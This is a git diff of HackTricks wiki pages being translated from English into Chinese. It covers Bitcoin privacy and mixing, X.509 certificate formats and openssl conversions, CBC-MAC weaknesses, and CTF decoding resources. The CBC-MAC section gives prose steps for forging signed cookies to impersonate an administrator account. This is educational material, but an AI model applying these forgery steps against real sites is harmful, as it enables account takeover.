**流量分析** -## **Traffic Analysis** +通过监控网络流量,攻击者可以潜在地将交易或区块与IP地址关联,从而危及用户隐私。如果一个实体运营多个比特币节点,这种情况尤其明显,增强了他们监控交易的能力。 -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## 更多 -## More +有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。 -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# 匿名比特币交易 -# Anonymous Bitcoin Transactions +## 匿名获取比特币的方法 -## Ways to Get Bitcoins Anonymously +- **现金交易:** 通过现金获取比特币。 +- **现金替代品:** 购买礼品卡并在线兑换比特币。 +- **挖矿:** 通过挖矿获得比特币是最私密的方法,尤其是单独进行时,因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐。 -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## 混合服务 -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +通过使用混合服务,用户可以**发送比特币**并**收到不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。 ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。 -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +可能使用 CoinJoin 的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。 ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +**PayJoin**(或 P2EP)是 CoinJoin 的一种变体,它将两个参与方(例如,客户和商家)之间的交易伪装成常规交易,而没有 CoinJoin 特有的相等输出特征。这使得检测变得极其困难,并可能使交易监控实体使用的共同输入所有权启发式失效。 ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +像上述交易可以是 PayJoin,增强隐私,同时与标准比特币交易无区别。 -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin 的使用可能会显著破坏传统监控方法**,使其成为追求交易隐私的一个有前景的发展。 -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# 加密货币隐私的最佳实践 -# Best Practices for Privacy in Cryptocurrencies +## **钱包同步技术** -## **Wallet Synchronization Techniques** +为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。 +- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在与用户地址匹配时获取完整区块。 -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **利用 Tor 实现匿名性** -## **Utilizing Tor for Anonymity** +鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络互动时增强隐私。 -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **防止地址重用** -## **Preventing Address Reuse** +为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。 -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **交易隐私策略** -## **Strategies for Transaction Privacy** +- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,阻碍隐私攻击。 +- **避免找零**:选择不需要找零输出的交易可以通过干扰找零检测方法来增强隐私。 +- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。 -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **门罗币:匿名性的灯塔** -# **Monero: A Beacon of Anonymity** +门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。 -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **以太坊:燃料费和交易** -# **Ethereum: Gas and Transactions** +## **理解燃料费** -## **Understanding Gas** +燃料费衡量在以太坊上执行操作所需的计算努力,以 **gwei** 定价。例如,一笔交易的费用为 2,310,000 gwei(或 0.00231 ETH),涉及燃料限制和基本费用,并向矿工提供小费以激励他们。用户可以设置最高费用,以确保他们不会支付过多,超出部分会退还。 -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **执行交易** -## **Executing Transactions** +以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、金额、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它。 -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。 -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## 参考文献 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..1d02a0e00 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# 证书 {{#include ../banners/hacktricks-training.md}} -
+## 什么是证书 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +一个 **公钥证书** 是在密码学中用于证明某人拥有公钥的数字身份。它包括密钥的详细信息、所有者的身份(主题)以及来自受信任机构(发行者)的数字签名。如果软件信任发行者并且签名有效,则可以与密钥的所有者进行安全通信。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +证书主要由 [证书颁发机构](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) 在 [公钥基础设施](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 设置中颁发。另一种方法是 [信任网络](https://en.wikipedia.org/wiki/Web_of_trust),用户直接验证彼此的密钥。证书的常见格式是 [X.509](https://en.wikipedia.org/wiki/X.509),可以根据 RFC 5280 中概述的特定需求进行调整。 -## What is a Certificate +## x509 常见字段 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509 证书中的常见字段** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +在 x509 证书中,几个 **字段** 在确保证书的有效性和安全性方面发挥着关键作用。以下是这些字段的详细说明: -## x509 Common Fields +- **版本号** 表示 x509 格式的版本。 +- **序列号** 在证书颁发机构(CA)系统中唯一标识证书,主要用于撤销跟踪。 +- **主题** 字段表示证书的所有者,可以是机器、个人或组织。它包括详细的身份识别,例如: +- **通用名称 (CN)**:证书覆盖的域。 +- **国家 (C)**、**地方 (L)**、**州或省 (ST, S, or P)**、**组织 (O)** 和 **组织单位 (OU)** 提供地理和组织的详细信息。 +- **区分名称 (DN)** 概括了完整的主题识别。 +- **发行者** 详细说明了谁验证并签署了证书,包括与主题类似的子字段。 +- **有效期** 由 **生效时间** 和 **失效时间** 时间戳标记,确保证书在某个日期之前或之后不被使用。 +- **公钥** 部分对于证书的安全至关重要,指定公钥的算法、大小和其他技术细节。 +- **x509v3 扩展** 增强了证书的功能,指定 **密钥使用**、**扩展密钥使用**、**主题备用名称** 和其他属性,以微调证书的应用。 -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **密钥使用和扩展** +- **密钥使用** 确定公钥的密码应用,例如数字签名或密钥加密。 +- **扩展密钥使用** 进一步缩小证书的使用案例,例如用于 TLS 服务器身份验证。 +- **主题备用名称** 和 **基本约束** 定义证书覆盖的其他主机名,以及它是否是 CA 证书或终端实体证书。 +- 标识符如 **主题密钥标识符** 和 **授权密钥标识符** 确保密钥的唯一性和可追溯性。 +- **授权信息访问** 和 **CRL 分发点** 提供路径以验证发行 CA 并检查证书撤销状态。 +- **CT 预证书 SCTs** 提供透明日志,对于公众信任证书至关重要。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP与CRL分发点的区别** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) 涉及客户端和响应者共同检查数字公钥证书是否已被撤销,而无需下载完整的 **CRL**。这种方法比传统的 **CRL** 更高效,后者提供被撤销证书序列号的列表,但需要下载一个可能很大的文件。CRL 可以包含多达 512 个条目。更多细节可在 [这里](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) 找到。 -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **什么是证书透明性** -### **What is Certificate Transparency** +证书透明性通过确保 SSL 证书的发行和存在对域名所有者、CA 和用户可见,帮助抵御与证书相关的威胁。其目标包括: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- 防止 CA 在未通知域名所有者的情况下为域名发行 SSL 证书。 +- 建立一个开放的审计系统,以跟踪错误或恶意发行的证书。 +- 保护用户免受欺诈证书的影响。 -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **证书日志** -#### **Certificate Logs** +证书日志是公开可审计的、仅附加的证书记录,由网络服务维护。这些日志提供加密证明以供审计使用。发行机构和公众均可向这些日志提交证书或查询以进行验证。虽然日志服务器的确切数量并不固定,但预计全球不会超过一千个。这些服务器可以由 CA、ISP 或任何感兴趣的实体独立管理。 -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **查询** -#### **Query** +要探索任何域的证书透明性日志,请访问 [https://crt.sh/](https://crt.sh)。 -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +存储证书的不同格式各有其使用案例和兼容性。此摘要涵盖主要格式并提供转换指导。 -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **格式** -## **Formats** +### **PEM格式** -### **PEM Format** +- 最广泛使用的证书格式。 +- 需要为证书和私钥分别创建文件,采用 Base64 ASCII 编码。 +- 常见扩展名:.cer, .crt, .pem, .key。 +- 主要用于 Apache 和类似服务器。 -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER格式** -### **DER Format** +- 证书的二进制格式。 +- 缺少 PEM 文件中找到的 "BEGIN/END CERTIFICATE" 语句。 +- 常见扩展名:.cer, .der。 +- 通常与 Java 平台一起使用。 -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7格式** -### **P7B/PKCS#7 Format** +- 以 Base64 ASCII 存储,扩展名为 .p7b 或 .p7c。 +- 仅包含证书和链证书,不包括私钥。 +- 受 Microsoft Windows 和 Java Tomcat 支持。 -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12格式** -### **PFX/P12/PKCS#12 Format** +- 一种二进制格式,将服务器证书、中间证书和私钥封装在一个文件中。 +- 扩展名:.pfx, .p12。 +- 主要用于 Windows 的证书导入和导出。 -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **格式转换** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM 转换** 对于兼容性至关重要: +- **x509 到 PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM 转 DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER 转 PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM 转 P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 转 PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX 转换** 对于在 Windows 上管理证书至关重要: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX 到 PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX 转 PKCS#8** 涉及两个步骤: +1. 将 PFX 转换为 PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. 将PEM转换为PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B 转 PFX** 还需要两个命令: +1. 将 P7B 转换为 CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. 将 CER 和私钥转换为 PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **ASN.1 (DER/PEM) 编辑** (适用于证书或几乎任何其他 ASN.1 结构): +1. 克隆 [asn1template](https://github.com/wllm-rbnt/asn1template/) ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. 将 DER/PEM 转换为 OpenSSL 的生成格式 ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. 根据您的要求编辑 certificatename.tpl ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. 重建修改后的证书 ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..c16e72cd6 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +如果**cookie**仅仅是**用户名**(或者cookie的第一部分是用户名),并且你想要冒充用户名“**admin**”。那么,你可以创建用户名**"bdmin"**并**暴力破解**cookie的**第一个字节**。 # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**密码块链消息认证码**(**CBC-MAC**)是一种用于密码学的方法。它通过逐块加密消息来工作,每个块的加密与前一个块相链接。这个过程创建了一个**块链**,确保即使改变原始消息的一个比特,也会导致最后一个加密数据块的不可预测变化。要进行或逆转这样的变化,需要加密密钥,以确保安全性。 -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +要计算消息m的CBC-MAC,可以在零初始化向量下以CBC模式加密m,并保留最后一个块。下图勾勒了使用秘密密钥k和块密码E计算由块组成的消息的CBC-MAC的过程![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5): ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +在CBC-MAC中,通常**使用的IV是0**。\ +这是一个问题,因为两个已知消息(`m1`和`m2`)独立生成两个签名(`s1`和`s2`)。所以: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +然后,由m1和m2连接而成的消息(m3)将生成两个签名(s31和s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**这可以在不知道加密密钥的情况下计算。** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +想象一下你在**8字节**块中加密名称**Administrator**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +你可以创建一个名为**Administ**(m1)的用户名并获取签名(s1)。\ +然后,你可以创建一个用户名,称为`rator\00\00\00 XOR s1`的结果。这将生成`E(m2 XOR s1 XOR 0)`,即s32。\ +现在,你可以将s32用作完整名称**Administrator**的签名。 ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. 获取用户名**Administ**(m1)的签名,即s1 +2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0**的签名,即s32**。** +3. 将cookie设置为s32,它将是用户**Administrator**的有效cookie。 # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +如果你可以控制使用的IV,攻击可能会非常简单。\ +如果cookie仅仅是加密的用户名,要冒充用户“**administrator**”,你可以创建用户“**Administrator**”,你将获得它的cookie。\ +现在,如果你可以控制IV,你可以改变IV的第一个字节,使得**IV\[0] XOR "A" == IV'\[0] XOR "a"**,并为用户**Administrator**重新生成cookie。这个cookie将有效地**冒充**用户**administrator**,使用初始**IV**。 ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +更多信息请参见[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..ebf2efe61 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Online Hashes DBs +## 在线哈希数据库 -- _**Google it**_ +- _**谷歌一下**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -16,124 +16,119 @@ - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## 魔法自动解码器 - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (魔法模块) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## 编码器 -Most of encoded data can be decoded with these 2 ressources: +大多数编码数据可以通过这两个资源解码: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### 替换自动解码器 - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - 非常好! -#### Caesar - ROTx Autosolvers +#### 凯撒 - ROTx 自动解码器 - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Atbash 密码 - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### 基础编码自动解码器 -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +使用以下链接检查所有这些基础:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- 